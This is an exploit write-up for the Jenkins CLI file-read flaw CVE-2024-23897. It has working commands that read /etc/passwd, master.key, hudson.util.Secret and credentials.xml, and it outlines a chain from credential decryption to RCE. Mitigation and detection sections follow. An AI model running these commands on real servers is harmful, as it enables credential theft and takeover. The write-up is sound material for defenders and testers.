Exploit for Path Traversal in Jenkins CVE-2024-23897 CVE-2024-23898

## https://sploitus.com/exploit?id=0ACA80D5-389C-5CB2-B5FA-C68F6CBF5424
# CVE-2024-23897 — Jenkins CLI Arbitrary File Read Vulnerability

**CVSS 9.8 (CRITICAL)** — Actively exploited in the wild

---

## Overview

CVE-2024-23897 is a critical arbitrary file read vulnerability in Jenkins' command-line interface (CLI). The Jenkins CLI uses the `args4j` library for parsing command arguments. This library expands the `@` character followed by a file path (`@/path/to/file`) by reading the contents of that file and injecting them as arguments. An unauthenticated attacker can exploit this behavior to read arbitrary files on the Jenkins controller's filesystem without requiring any authentication.

When combined with extraction of credentials.xml, secrets, or master.key, this vulnerability can lead to full server compromise (RCE).

---

## Technical Details

### The `@` Character Expansion in args4j

The `args4j` library (used by Jenkins' CLI command parser) implements a convenience feature: when an argument begins with `@`, it treats the remainder of the argument as a file path, reads the file's content, and splits it into multiple arguments. This was intended to allow passing large argument lists via files.

**Example**: `java -jar jenkins-cli.jar who-am-i @/etc/passwd` would cause args4j to read `/etc/passwd` and use its contents as arguments to the `who-am-i` command.

Since certain CLI commands (like `connect-node`) echo back or include argument values in error messages/response, an attacker can observe the file contents in the CLI response.

### The Attack Flow

1. Attacker connects to the Jenkins CLI port (default: 50000, or the HTTP CLI endpoint)
2. Attacker sends a CLI command with an argument like `@/etc/passwd`
3. Jenkins' args4j parser reads the file and expands it into arguments
4. The CLI command processes those arguments and the file content is leaked in the response or error message
5. Attacker extracts sensitive files to escalate privileges

### Why This Is Critical

- **No authentication required** — The CLI port is accessible without any credentials
- **No preconditions** — No special permissions or Jenkins features need to be enabled
- **Widespread impact** — Tens of thousands of Jenkins instances exposed
- **Privilege escalation** — Reading secrets/master.key enables credential decryption and RCE

---

## Affected Versions

| Product | Affected | Fixed |
|---------|----------|-------|
| Jenkins (weekly) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (previous) | ≤ 2.414.2 | 2.414.3 |

**Note**: All Jenkins versions prior to the fixes listed above are vulnerable. The CLI feature has existed in Jenkins for many years, so older versions are also affected even if not listed explicitly.

---

## Reproduction Steps

### Environment Setup

1. **Run a vulnerable Jenkins instance with Docker**:
   ```bash
   docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
   ```
   Note the initial admin password from the container logs.

2. **Verify the CLI port is open**:
   ```bash
   # Jenkins CLI port (TCP 50000) should be listening
   # Or you can use the HTTP CLI endpoint at /cli/
   ```

3. **Install Python 3.8+** with required dependencies:
   ```bash
   pip install requests
   ```

### Reproduction via Python PoC

```bash
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
```

### Reproduction Manual Steps (with jenkins-cli.jar)

```bash
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
```

### Expected Output

The file contents appear in the CLI response or error output. For example, reading `/etc/passwd` would return the system's password file entries.

---

## Proof of Concept (PoC) — Full Exploitation Chain

### Step 1: Enumerate the Jenkins Environment

```bash
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
```

### Step 2: Extract Secrets for RCE

```bash
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
```

### Step 3: Decrypt Credentials & Achieve RCE

With `master.key` and `hudson.util.Secret`, you can decrypt Jenkins credentials using tools like `jenkins_decrypt.py` or the `decrypt.py` script from `CVE-2024-23897` references. The decrypted credentials (SSH keys, API tokens, cloud provider keys) can then be used to achieve remote code execution on connected nodes and cloud environments.

---

## Mitigation

### Immediate Fix

| Action | Details |
|--------|---------|
| **Update Jenkins** | Upgrade to Jenkins 2.442+ or LTS 2.426.3+ / 2.414.3+ |
| **Disable CLI port** | Block TCP port 50000 at the firewall if not needed |
| **Restrict network access** | Limit access to Jenkins CLI port to trusted networks only |
| **Enable authentication** | Ensure Jenkins requires authentication for all access |
| **Monitor logs** | Look for CLI commands with `@` arguments in access logs |

### Detection

Search access logs or CLI audit logs for arguments containing `@` followed by file paths:

```bash
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log

# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
```

### Workaround (if unable to patch)

If patching immediately is not possible, disable the CLI port by setting the `--webroot` option or blocking port 50000. However, note that the HTTP CLI endpoint (`/cli/`) within the web UI may still be exploitable, so patching is strongly recommended.

---

## References

- [Jenkins Security Advisory 2024-01-24](https://www.jenkins.io/security/advisory/2024-01-24/)
- [NVD Entry — CVE-2024-23897](https://nvd.nist.gov/vuln/detail/CVE-2024-23897)
- [NVD Entry — CVE-2024-23898](https://nvd.nist.gov/vuln/detail/CVE-2024-23898) (related CLI DoS)
- [args4j library @file expansion documentation](https://github.com/kohsuke/args4j)
- [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)

---

## Disclaimer

This repository is for **authorized security testing and educational purposes only**. Unauthorized exploitation of this vulnerability is illegal. The authors are not responsible for any misuse of this information. Only test on systems you own or have explicit written permission to test.